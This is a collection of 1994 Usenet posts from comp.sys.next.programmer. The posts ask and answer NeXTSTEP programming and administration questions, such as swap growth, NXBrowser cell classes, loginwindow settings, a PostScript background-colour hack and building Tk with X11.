From: me@vigor.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: Swap space growth-- one way trip? Date: 16 Apr 1994 10:46:55 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2oofmv$8r1@netnews.upenn.edu> Hi, I'm running a program under NSI 3.2 that creates an SQL table from other SQL tables. The tables only take up 8Mb disk space in the filesystem. But during the execution of the program the swapfiles grow by 160Mb!! /private/vm/swapfile and /private/vm/swapfile.front each grow from 20Mb to 50 Mb. Neither my program, nor the SQL server at any time malloc more than .5Mb. Does anyone have a guess as to what's going on? Also, growth of the swap space seems to be a one-way trip. If I log out and then log back ink, the acqured swap space is still there. Only when I reboot the machine does the swap space get reclaimed. Is there a description of the NS Virtual Memory system somewhere in the documentation? Any tips much appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: How to change the layout of a DBTableView? Date: 16 Apr 1994 10:12:37 +0100 Organization: me organised, that's a joke. Message-ID: <2ooa65$3vo@steffi.demon.co.uk> References: <2om70i$hi1@brachio.zrz.TU-Berlin.DE> <1994Apr15.155548.1496@prim.demon.co.uk> dave@prim.demon.co.uk (Dave Griffiths) wrote in comp.sys.next.programmer >In article <2om70i$hi1@brachio.zrz.TU-Berlin.DE> krause@math.tu-berlin.de writes: >>Hello, >> >>does anybody can give me a hint how a program can change the layout >>(width of the columns) of a DBTableView. I can set the width in >>InterfaceBuilder and the user can modify the width during a >>session, but what is the ObjectiveC-call to do it from a program? > >Something like [[table columnAt:column] sizeTo:size] > >Dave Griffiths Yes. You also have to set a new minumum size accordingly too otherwise it reverts back to the old size (specified in IB) when it redisplays. [vector setMinSize:minSize]; -- "Kill files are for pacifists" (ASCII for text only messages)
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: Developer Expo talk idea? (TCL and IB) Date: 15 Apr 1994 23:14:17 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2on749$ktn@usenet.rpi.edu> References: <2ojak1$2fl@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > I don't speak for anybody... > > Is there any interest from NeXTDeveloper Expo attendees for a talk on > how to use Tcl from within IB and or within the ObjC runtime? > > Tcl is gaining in popularity due to the increased interest in using > Tk for X applications. Tcl is an extensble interpreted languauge. > TickleServices and Dialupip/TranSYS PNI already make heavy use of it. > > Tcl has _nothing_ to do with The X Windowing System. It's just a > language which can be tailored to suit the task at hand. As an aside, there is also something called STk, which is Tk combined with Scheme instead of TCL... -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: sbender@harmony.digex.net (Scott Bender) Newsgroups: comp.sys.next.programmer Subject: Hooking the right mouse button? Date: 16 Apr 1994 15:09:13 GMT Organization: Harmony Data Systems Message-ID: <2oov2p$lek@news1.digex.net> I'm trying to make NeXTSTEP do something different when the user presses the right mouse button (in any application). I can do this in my application, but I can't figure out how to get the mouse events for another application. Any ideas? Is this even possible? Thanks, ------------------------------------------------------------------------------ Scott Bender | E-Mail: Scott_Bender@harmony.digex.net, or Harmony Data Systems | sbender@Mountain.Net, or 2141 Wisconsin Ave NW Unit 504 | sbender@access.digex.net, or Washington, DC 20007 | 76057.653@compuserve.com Voice & Fax: 202-342-1214 | (NeXT-Mail Accepted) ------------------------------------------------------------------------------
From: gcasa@wam.umd.edu (Gregory John Casamento) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: NS3.2 and C++ (Does 3.2 come with a c++ compiler) Followup-To: poster Date: 16 Apr 1994 17:21:51 GMT Organization: University of Maryland College Park Message-ID: <2op6rf$c7j@cville-srv.wam.umd.edu> Keywords: c++, NeXTStep I know that this is probably a stupid question, but here goes... I have a copy of NS3.2 (both User and Developer) on my system. In the /bin directory there is a program called cc++. When I use it to compile a c++ program I have written, it gets NO compile errors. However, when it attempts to link the program, it cannot find certain things and I *know* that I am not forgetting to declare or include anything. Does anyone know what's wrong here?? Thanks, -- Gregory John Casamento -- gcasa@wam.umd.edu -- Opinions expressed in this space are mine. However, they are the -- fault of my twisted and demented professors at UMCP!!! #include <stdsig.h>
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.sun.misc Subject: UPDATE: Price Comparison of Competing Development Environments - 4/16 Followup-To: comp.sys.next.advocacy Date: 16 Apr 1994 18:23:21 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <2opaep$3qi@senator-bedfellow.MIT.EDU> Here is an update on the prices of competing development environments. There have been many additions/corrects since I first posted the info (which eminated from the Boston Computer Society emailing list)... Price Comparison of competing development environments (in order of increasing _list_ price): PARC VisualWorks (Windows) $2,995 PowerSoft PowerBuilder $3,395 NEXTSTEP Dev 3.2 (Intel) $2,995 (Also need NEXTSTEP User) NEXTSTEP User 3.2 (Intel) $ 795 ------ TOTAL $3,790 OpenStep Starter Kit (Intel) $3,995 (Includes everything you need)** PARC VisualWorks (UNIX) $3,995 (Doesn't include underlying OS) ISE Eiffel-3.2 $6,000 (Rounded figure) CenterLine ObjectCenter $3,995 (Need ViewCenter to compete) CenterLine ViewCenter $2,495 ------ TOTAL $6,490 VISIX Galaxy $12,000 VISIX Galaxy $15,000 (C++ version) **Note, OpenStep starter kit is simply NEXTSTEP/Intel 3.2 User and Developer with some minor changes like no MachKit, and maybe no 3D-kit. Can anyone clarify this? Plus, the starter kit has some documentation needed for porting NEXTSTEP applications to OpenStep. Please send me any additions/corrects to this list! Thanks, Eric
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Incredible Bouncing Login Panel Message-ID: <1994Apr15.224608.295@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Apr12.130821.13304@galileo.cc.rochester.edu> Date: Fri, 15 Apr 1994 22:46:08 GMT Howard, the DWRITES for loginwindow are: loginwindow AutoDimTime 4080 loginwindow MoveWhenIdle YES loginwindow MovementRate 0.0333 loginwindow MovementScale 5 loginwindow MovementTimeout 5 loginwindow TimeToDim 2040 Rik (cousens@biztech.com) In article <1994Apr12.130821.13304@galileo.cc.rochester.edu> hyrh_ltd@uhura.cc.rochester.edu (Howard Yermish) writes: > I have asked this same question around my school and nobody > knows the answer... > > On the NeXT over at school (040 station Mach 3.0), the login > panel acts as a screen saver by bouncing after being idle for > five minutes. I want to have the same thing happen on my cube > (030 cube Mach 3.0) for my login window. > > Any help is greatly appreciated. Thanks. > > Howard Yermish > hyrh_ltd@uhura.cc.rochester No NeXT mail please...
Control: cancel <2odkhh$3gs@herald.indirect.com> Newsgroups: comp.sys.next.programmer,pgh.motss From: alex@hal.rhein-main.de (Alexander Lehmann) Subject: REPOST: cmsg cancel <2odkhh$3gs@herald.indirect.com> Message-ID: <CoCuoA.Ew@hal.rhein-main.de> References: <SuperBot.170w@megalith.miami.fl.us> Date: Sat, 16 Apr 1994 13:55:21 GMT Due to a format error in the Date: line, this message could not be processed by cnews. SuperBot (SuperBot@megalith.miami.fl.us) wrote: : cancel <2odkhh$3gs@herald.indirect.com> : from nike@indirect.com (Laurence Canter) : in newsgroup(s) comp.sys.next.programmer,pgh.motss : : This article canceled bye an automated AREXX Script
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Incredible Bouncing Login Panel Message-ID: <Co9qsr.Fo@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <1994Apr12.130821.13304@galileo.cc.rochester.edu> Date: Thu, 14 Apr 1994 21:38:51 GMT Howard Yermish writes > I have asked this same question around my school and nobody > knows the answer... > > On the NeXT over at school (040 station Mach 3.0), the login > panel acts as a screen saver by bouncing after being idle for > five minutes. I want to have the same thing happen on my cube > (030 cube Mach 3.0) for my login window. > > Any help is greatly appreciated. Thanks. > > Howard Yermish > hyrh_ltd@uhura.cc.rochester No NeXT mail please... > BTW: it is generally a bad idea to enable bouncing the login window-- especially on color machines w/only 16 megs of memory-- it tends to eat the cpu and memory. b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.sys.next.programmer From: lwv26@cas.org (Larry W. Virden) Subject: Re: Developer Expo talk idea? (TCL and IB) Message-ID: <1994Apr17.122652.3956@chemabs.uucp> Followup-To: comp.sys.next.programmer Sender: usenet@chemabs.uucp Organization: Nedriv Software and Shoe Shiners, Uninc. References: <2ojak1$2fl@steffi.demon.co.uk> <2on749$ktn@usenet.rpi.edu> Date: Sun, 17 Apr 1994 12:26:52 GMT There are also interfaces between tcl and lisp, ada, eiffle, etc. There is even tkperl - tk implemented in the perl rather than tcl language. -- :s Great net resources sought... :s Larry W. Virden INET: lvirden@cas.org :s Personal: 674 Falls Place, Reynoldsburg, OH 43068-1614 The task of an educator should be to irrigate the desert not clear the forest.
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Indexing kit - Query language (NOT SUPPORTED) Message-ID: <1994Apr14.153048.3128@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <2ohfdr$97s@cerberus.wsc.com> Date: Thu, 14 Apr 1994 15:30:48 GMT In article <2ohfdr$97s@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) writes: > > [YANIK's problems with IXKit deleted] > > > Yanik Crepeau The power of OOP used to stop when > > Programmer the programmer typed "make". With > > Planon Telexpertise NEXTSTEP and PDO, that is not true > > E-Mail: yanik@planon.qc.ca (NeXT) anymore! > > You can't use the IXKit query language, because it is not > supported by the IXKit. I know that NeXT continues to ship > the docs for it, but forget it, it does not work. > > The engineer that wrote IXKit (who's quite excellent) wanted > to finish it, but I don't think that NeXT believes the IXKit > is going to be part of its future plans. > > So, if you're developing using the IXKit now, then be careful. > > 1) bugs are not likely to be fixed This is not true - they just fixed some. > 2) NeXT isn't going to improve IXKit any > 3) Support for IXKit will go away one day This is not exactly true. The underlying levels of the IXKIT - the Store and Btree classes - will remain. They are used by many internal NeXT apps and by several 3rd party apps and several MCA implementations; and will probably be part of the OpenStep specification. What might "go away" is the RecordManager stuff - which, as you point out, is partially broken. Luckily for us, DataPhile uses only the underlying classes! -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Developer Expo talk idea? (TCL and IB) Message-ID: <1994Apr15.021519.459@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <2ojak1$2fl@steffi.demon.co.uk> Date: Fri, 15 Apr 1994 02:15:19 GMT In article <2ojak1$2fl@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > I don't speak for anybody... > > Is there any interest from NeXTDeveloper Expo attendees for a talk on > how to use Tcl from within IB and or within the ObjC runtime? > > Tcl is gaining in popularity due to the increased interest in using > Tk for X applications. Tcl is an extensble interpreted languauge. > TickleServices and Dialupip/TranSYS PNI already make heavy use of it. > > Tcl has _nothing_ to do with The X Windowing System. It's just a > language which can be tailored to suit the task at hand. > > Is that something you'd like to see and hear about at Expo? > > If the technical sessions contained this sort of information would > that influence your decision to attend the Developers Conference? > > Please don't email me just show your interest by following up. > -- Wave submitted just such a topic and it got canned - too bad - especially since it's such a hot subject. andrew -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
From: samurai@wsc.com (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Remember Scene.app? (gonna build a new one) Date: 17 Apr 1994 17:41:54 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2orsd2$8u9@cerberus.wsc.com> Sometimes I'd like to be able to set the background graphic of my workstation. So, plugging away, I've found that you can set the background color with this bit of PostScript code: %% %% PS hack to change the workspace window color. Works by %% sending to pft... a small stretch of the imagination %% can make this a command-line script. %% Author - darcy@hasc.ca, based on some acute observations %% of Preferences.app %% % color is blue /red 0.0 def /green 0.0 def /blue 0.5 def % make the workspaceWindow the current device workspaceWindow windowdeviceround % set the nonretained workspaceWindow's new exposure color red green blue setrgbcolor setexposurecolor % put the windows bounds on the stack workspaceWindow currentwindowbounds % bring up a new nonretained window using the bounds on the stack Nonretained window /dummy exch def % tell it not to fill when we bring it to the front false dummy setautofill % bring it up -- it doesn't fill, but covers the workspace window % invisibly Above 0 dummy orderwindow % terminate it... the workspaceWindow will autofill with the new % color dummy termwindow %% %% DONE %% Ok, great, I can change the background color easily enough. So, what I really want to do is to promote that workspaceWindow to a Retained window, then zap a TIFF into the window. Unfortunately 'setwindowtype' only works from Retained to Buffered and vice versa. Without getting the workspaceWindow to be Buffered or Retained, anything I draw into the window will be erased as other windows drag over it, and replaced with the autofill color. So, is there any PS guru out there that knows what I can do to build this app? I don't want it to be like BackSpace which puts up its own window over the background, I want to write directly to the workspaceWindow, so my app can quit. Just like Scene used to. Any ideas? - darcy
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: rtf to ascii Message-ID: <1994Apr17.184501.28745@pcp.ca> Keywords: rtf, ascii Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Sun, 17 Apr 94 18:45:01 GMT Hello there: What is the command-line command to convert a file from rtf to ascii? I know how to use the Text methods to accomplish this but I would like the command-line command for a shell script which I'm writing. Thanks, Alex Nghiem_Alex@pcp.ca alex@oolesson.com
From: icardena@dcl-nxt12 (Ian Patrick Cardenas) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Re: rtf to ascii Date: 17 Apr 1994 19:29:37 GMT Organization: University of Illinois at Urbana Message-ID: <2os2n1$fob@vixen.cso.uiuc.edu> References: <1994Apr17.184501.28745@pcp.ca> Keywords: rtf, ascii I've heard it was rtf2ascii, but on my machine the command is rtf-ascii. -Ian -- *x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x*x* "I would if I could X Ian P Cardenas X but I can't X CS major at UIUC X so I'll learn" -IPC X icardena@sumter.cso.uiuc.edu X
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: #import problems on Intel GX machines Message-ID: <1994Apr17.193010.6262@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Apr14.002913.20192@pcp.ca> Date: Sun, 17 Apr 1994 19:30:10 GMT Is this really a problem with Intel GX? Sounds like a network, Makefile or compiler problem (in that order) to me. 1. Check your /usr/adm/messages file for NFS timeouts 2. Check your timestamps and make sure you are using NTP 3. Check the flags your giving to cc especially the -I 4. Do a fresh "make depend" before your "make" 5. Are you running the stock NeXT cc or a newer gcc? And are you using #import or #include? Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994Apr14.002913.20192@pcp.ca> Nghiem_Alex@pcp.ca (Alex Nghiem) writes: > Hello there: > > We've been experiencing some bizarre compilations problems with our header > files on the Intel GX machines under NS 3.2. We have a project which we > normally compile across the net. For a faster turnaround, we often copy it > down locally and then compile it there. However, there are instances when > cc gets confused and insists that it can't find certain .h files in the > project; that is, the compiler complains that it can't find the return > type for certain methods because it doesn't think a particular .h file > doesn't exist. > > We've ran the results using cc -E (displaying the preprocessed code) and > the preprocessor literally does not see the .h file in question. If we > copy the .h file into a new file, rename the old file to something else, > and then rename the new file to the original name, everything works fine. > Alternatively, we can modify the .h file in question, which forces the > file to be rewritten out to disk, and everything works as expected. This > problem has never happened on any other platform except for the Intel GX > platform. At this point, we're speculating that the problem is related to > the filesystem or the hardfile. > > Has anyone out there experienced this problem on the Intel GX or any other > platforms? Please e-mail me directly at Nghiem_Alex@pcp.ca or > alex@oolesson.com. > > Thanks in advance, > > Alex
From: mcgredo@crl.com (Donald R. McGregor) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Re: rtf to ascii Date: 17 Apr 1994 20:11:20 -0700 Organization: YoyoDyne Propulsion Systems Message-ID: <2ostoo$aeo@crl.crl.com> References: <1994Apr17.184501.28745@pcp.ca> <2os2n1$fob@vixen.cso.uiuc.edu> Keywords: rtf, ascii In article <2os2n1$fob@vixen.cso.uiuc.edu> icardena@dcl-nxt12 (Ian Patrick Cardenas) writes: :> I've heard it was rtf2ascii, but on my machine the command is rtf-ascii. On my 3.2 machine it's in /usr/bin. Not sure if it's there by default in 2.x; I've got in in /usr/local/bin, but that might just be me. -- Don McGregor | "If there is a God, the Cardinal de Richelieu mcgredo@crl.com | will have much to answer for. If not...well, | he had a successful life."
From: andrew@wire.home.net (andrew abernathy) Newsgroups: comp.sys.next.programmer Subject: problem using NXBrowser setCellClass: Date: 17 Apr 1994 23:53:04 -0400 Organization: The Ohio State University Sender: root@magnus.acs.ohio-state.edu Message-ID: <9404180351.AA08557@wire.home.net> I'm trying to change the cell class for an NXBrowser to be a custom class which is a subclass of NXBrowserCell; I'm having no luck. Basically, I've put in my -appDidInit method (which I've confirmed is getting called): (objectBrowser is my NXBrowser; MSObjectCell is my subclass of NXBrowserCell, and I've confirmed that the connection is available - other messages work) [objectBrowser setCellClass:[MSObjectCell class]]; In my browser:fillMatrix:inColumn: method I have code like: numObjects = [objectList count]; for (loop = 0; loop < numObjects; loop++) { id object; id cell; object = [objectList objectAt:loop]; [matrix addRow]; cell = [matrix cellAt:loop :0]; [cell setStringValue:[object name]]; [cell setLoaded:YES]; [cell setLeaf:[object objectList] == nil]; [cell setEnabled:[object isEnabled]]; [cell setMSObject:object]; } All this seems to be fine, except the setMSObject call. Without that call, everything else works fine. With that call, my app crashes with the message: Apr 17 23:16:20 wire MainStreet[8057]: objc: NXBrowserCell: does not recognize selector -setMSObject: My subclass of NXBrowserCell _does_ implement -setMSObject:, any anyway, the error message says "NXBrowserCell" instead of "MSObjectCell" - I dunno why. I've also tried setCellPrototype: - that doesn't work either. Can anyone help with this? I couldn't find anything about it in NeXTanswers. Thanks for any help!! --- andrew_abernathy@wire.home.net (NeXTmail ok, MIME in a pinch) 3306-I Country Club Vlg. Ln. Powered by Motorola Norcross, GA 30092-4426
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Archie update with source Date: 18 Apr 1994 05:52:45 GMT Organization: MCSNet Services Distribution: world Message-ID: <2ot77d$pih@News1.mcs.com> Keywords: Archie, Prospero This is to announce an update to Archie that includes a few minor bug fixes, and one major one that seems to be due to a bad Help.store file. The source has also been released. Files: Archie_211.tar.gz - multi arch binary Archie_211_src.tar.gz - Archie project src directory Location: cs.orst.edu:/pub/next/submissions Scott Stark starksm@genesis.mcs.com Sun Apr 17 22:34:20 CDT 1994 -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: Re: problem using NXBrowser setCellClass: Date: 18 Apr 1994 06:08:48 GMT Organization: MCSNet Services Distribution: world Message-ID: <2ot85g$qf8@News1.mcs.com> References: <9404180351.AA08557@wire.home.net> Keywords: NXBrowser, setCellClass In article <9404180351.AA08557@wire.home.net> andrew@wire.home.net (andrew abernathy) writes: > > I'm trying to change the cell class for an NXBrowser to be a custom class > which is a subclass of NXBrowserCell; I'm having no luck. > > Basically, I've put in my -appDidInit method (which I've confirmed is getting > called): (objectBrowser is my NXBrowser; MSObjectCell is my subclass > of NXBrowserCell, and I've confirmed that the connection is available - > other messages work) > > [objectBrowser setCellClass:[MSObjectCell class]]; > > In my browser:fillMatrix:inColumn: method I have code like: > > numObjects = [objectList count]; > for (loop = 0; loop < numObjects; loop++) > { > id object; > id cell; > > object = [objectList objectAt:loop]; > [matrix addRow]; > cell = [matrix cellAt:loop :0]; > [cell setStringValue:[object name]]; > [cell setLoaded:YES]; > [cell setLeaf:[object objectList] == nil]; > [cell setEnabled:[object isEnabled]]; > [cell setMSObject:object]; > } > > Apr 17 23:16:20 wire MainStreet[8057]: objc: NXBrowserCell: > does not recognize selector -setMSObject: > > My subclass of NXBrowserCell _does_ implement -setMSObject:, > any anyway, the error message says "NXBrowserCell" instead of > "MSObjectCell" - I dunno why. I've also tried setCellPrototype: - > that doesn't work either. > > Can anyone help with this? I couldn't find anything about it in > NeXTanswers. Thanks for any help!! > > --- > andrew_abernathy@wire.home.net (NeXTmail ok, MIME in a pinch) Your messages look fine, but from the runtime error one can see that the cell class is still NXBrowserCell. At what point are you calling loadColumnZero? Here is a snapshot of the code that loads an FTP hosts browser in Archie: - ftpHosts: sender { /* --- MethodDescription ReturnValue: self if the panel is displayed, nil if it is not; Description: Brings up a panel that will display a user's FTP hosts by loading the FtpHosts.nib section; Args: sender: the Matrix associated with the FTP submenu; */ NXBrowser *browser = nil; if( ftpHostsPanelID == nil ) { // Load the panel nib [NXApp loadNibSection: "FtpHosts.nib" owner: self withNames: YES]; if( ftpHostsPanelID == nil ) { // Not a fatal error, just an inconvience [self error: INTERNAL_SORRY method:_cmd key: FTP_HOSTS_PANEL_FAILED]; return nil; } browser = NXGetNamedObject("FtpHostBrowser", ftpHostsPanelID); [browser setCellClass: [MyBrowserCell class]]; } [ftpHostsPanelID makeKeyAndOrderFront: self]; [self clearFields]; if( browser == nil ) browser = NXGetNamedObject("FtpHostBrowser", ftpHostsPanelID); [browser loadColumnZero]; return self; } // End ftpHosts: - (int) browser: sender fillMatrix: matrix inColumn:(int) column { /* --- MethodDescription ReturnValue: The number of cells loaded in the column; Description: This is normal delegate method is responsible for loading the entries in the given column. This version only displays the hosts in column0.; Args: sender: The NXBrowser we are the delegate for; matrix: The Matrix for the column; column: The column number we should load; */ ObjectList *netrcList; int count, index; NetrcEntry *entry; MyBrowserCell *cell; netrcList = [NetrcEntry userNetrcEntries]; if( netrcList == 0 ) return 0; count = [netrcList count]; for(index = 0; index < count; index ++) { entry = [netrcList objectAt: index]; [matrix addRow]; cell = [matrix cellAt: index : 0]; [cell setStringValue: [entry displayName]]; [cell setLoaded:YES]; [cell setLeaf: YES]; [cell setTag: entry]; } return count; } // End browser:fillMatrix:inColumn: -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: promiscuous mode or tcpdump port Date: 18 Apr 1994 06:12:16 GMT Organization: MCSNet Services Distribution: world Message-ID: <2ot8c0$qkc@News1.mcs.com> Keywords: tcpdump, promiscuous, ethernet Is there an ioctl, or some system call one can use to place the ethernet interface into promiscuous mode? Even better, has any ported the tcpdump program to NeXT? Thanks, Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: ian_stewart@nyro.com (Ian H. Stewart) Subject: mail server source wanted Message-ID: <CoG0q1.zw@nyro.com> Sender: ian@nyro.com (Ian H. Stewart) Organization: NYRO Technix, Inc. - 415 664-1170 Date: Mon, 18 Apr 1994 06:58:49 GMT I am looking for the source code to a mail server like the one sonata and NeXT are using for email and NeXTmail. NeXTmail or ftp pointer appreciated. Thanks, Ian H. Stewart 415 664-1170 voice 415 664-5530 fax
Newsgroups: comp.sys.next.programmer From: garylang@netcom.com (Gary Lang) Subject: Re: Catching program crashes Message-ID: <garylangCoG4DC.E7A@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <1994Apr14.132340.8166@FreemanSoft.com> Distribution: usa Date: Mon, 18 Apr 1994 08:17:36 GMT Joe Freeman (joe@FreemanSoft.com) wrote: : I want to log the time of all program crashes to a file. Does anyone know : of a generic way to catch all segmentation faults... I know it is : possible but can't figure out whether I need to listen on some kind of : exception port or ... Check out SIGSEGV and the use of signal() and sigstack() -g -- Gary Lang Email:garylang@netcom.COM
Newsgroups: comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: Re: Remember Scene.app? (gonna build a new one) Message-ID: <CoG4sx.9Az@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation References: <2orsd2$8u9@cerberus.wsc.com> Date: Mon, 18 Apr 1994 08:26:57 GMT In article <2orsd2$8u9@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) writes: > > > So, is there any PS guru out there that knows what I can > do to build this app? I don't want it to be like BackSpace > which puts up its own window over the background, I want > to write directly to the workspaceWindow, so my app can > quit. Just like Scene used to. > Bad news, Scene did exactly what BackSpace did, it created it's own window just in front of the workspaceWindow. It then left the window there when the application terminated. -- _______________ Karl Kraft I don't speak for trapac, and they don't speak for me. Karl_Kraft@trapac.com -- _______________ Karl Kraft I don't speak for trapac, and they don't speak for me. Karl_Kraft@trapac.com
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc,comp.sys.next.software From: kevins@bmd.com Subject: NS Help: Limitations from hell? Message-ID: <1994Apr18.070418.14416@bMD.com> Sender: kevins@bMD.com (Kevin Solie) Organization: benchMark Developments, Inc. (Lex., KY) Date: Mon, 18 Apr 1994 07:04:18 GMT Is this NEXTSTEP Help a chunk of crap or what? I just spent what seems like the last 50 years of my life working on a really cool NS Help layout. Obviously I was under the impression that since I needed to use edit to build the help hierarchy that the things that worked in edit would also work under NSH. Wrong! No attachments other than rtf[d] eps and tiff will work. Damn! Whats up with this extra-small-non-horizontal-resize-help-window? Damn! In past releases the size of the TOC dictated the size of the help window... What happened to that? Maybe it's because I cant seem to get the right TOC in that damn help.store. Damn! Damn! So to the man pages I went for this fancy compresshelp. No manual entry for compresshelp. Oh man, I'm pissed now! Somebody tell me what's up with this... --- Man, that needle was really starting to piss me off! Kevin Solie Director of Development: benchMark Developments, Inc. Director: Kentucky NEXTSTEP Users Group Software Engineer: Alternate Worlds Technology -- Man, that needle was really starting to piss me off!
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: mjantti@medusa.abo.fi (Markus J{ntti STA) Subject: compiling progams under NS 3.2 User? Message-ID: <MJANTTI.94Apr18135240@medusa.abo.fi> Sender: usenet@abo.fi (Usenet NEWS) Organization: Abo Akademi University, Finland Date: Mon, 18 Apr 1994 10:52:39 GMT I recently purchased and installed NS 3.2 for black hardware. I bought my NeXTstation used, and it had NS 2.1 Developer installed. I'm not a programmer myself, but fairly often I like to install PD stuff on my NeXT, so that I have more or less the same Unix programs on my NeXT which I keep at home and my SPARCstation at work. NS 3.2 User does not seem to have a gcc compiler, though. I found on the archives a thing called gcc.pkg.tar, which I installed successfully (I think). Now, however, when I attempt to compile something I am told that the link editor ld cannot be found. Did I install gcc in the worng place or something, or does it not contain ld? Where can I get a working version of gcc, or a package that contains everyting I need to compile Unix PD stuff on my NeXT? -- Markus Jantti | Department of Economics mjantti@aton.abo.fi | Abo Akademi University | FIN 20500 Turku, Finland 358-21-2511 127 (Home) 358-21-654 161 (Office) 358-21-654 497 (Fax)
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: btf64@cas.org (Bernard T. French) Subject: Compiling Tk with XNeXT X11 Problems... Message-ID: <1994Apr18.113336.15857@chemabs.uucp> Sender: usenet@chemabs.uucp Organization: Chemical Abstracts Service, Columbus, Ohio Date: Mon, 18 Apr 1994 11:33:36 GMT I'm trying to build Tk on NeXTSTEP 3.2 with the XNeXT X11 distribution and I'm having some difficulties that really have nothing to do with Tk or XNeXT but my environment. I have the X11 tree on an external harddisk with the path of /HD1/X11/include, etc. I have symbolic links from /usr/include/X11 to the files on the external harddisk. When I try to compile Tk, the configure program can't locate the include files. Which I believe, expects them in /usr/include/X11. When I manually include -I /usr/include/X11 as the path in the makefile, it still can't locate the include files, generating errors of the type 'X11/Xlib.h' not found. If I try to view Xlib.h through the link from /usr/include/X11 using "less", I get the error message "Xlib: Too many levels of indirection". I know that /usr/include is symbolically linked to NeXTDeveloper/Headers. Is there any way I can place X11 on the external harddisk and link its path through /usr/include/X11, /usr/bin/X11, etc. I'm confused as to what I need to do to get both X11 and Tk up and running on my NeXT. Thanks! -- Bernie
Newsgroups: comp.sys.next.programmer From: btf64@cas.org (Bernard T. French) Subject: Compiling Tk with XNeXT X11 environment problems... Message-ID: <1994Apr18.114427.16379@chemabs.uucp> Sender: usenet@chemabs.uucp Organization: Chemical Abstracts Service, Columbus, Ohio Date: Mon, 18 Apr 1994 11:44:27 GMT I'm trying to build Tk on NeXTSTEP 3.2 with the XNeXT X11 distribution and I'm having some difficulties that really have nothing to do with Tk or XNeXT but my environment. I have the X11 tree on an external harddisk with the path of /HD1/X11/include, etc. I have symbolic links from /usr/include/X11 to the files on the external harddisk. When I try to compile Tk, the configure program can't locate the include files. Which I believe, expects them in /usr/include/X11. When I manually include -I /usr/include/X11 as the path in the makefile, it still can't locate the include files, generating errors of the type 'X11/Xlib.h' not found. If I try to view Xlib.h through the link from /usr/include/X11 using "less", I get the error message "Xlib: Too many levels of indirection". I know that /usr/include is symbolically linked to NeXTDeveloper/Headers. Is there any way I can place X11 on the external harddisk and link its path through /usr/include/X11, /usr/bin/X11, etc. I'm confused as to what I need to do to get both X11 and Tk 